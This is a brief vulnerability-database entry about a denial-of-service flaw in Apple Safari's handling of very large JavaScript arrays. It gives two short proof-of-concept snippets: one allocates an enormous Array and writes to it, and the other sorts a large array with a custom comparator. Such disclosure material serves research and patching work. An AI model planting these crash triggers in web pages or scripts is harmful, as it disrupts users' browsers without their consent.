• info
• discussion
• exploit
• solution
• references

Apple Safari Large JavaScript Array Handling Denial Of Service Vulnerability

The following examples were provided:
var a = new Array(99999999999999999999999);
a[0+5]="AAAAA";

and:
var bam = new Array(0x23000000);
bam.sort(new Function("return 1"));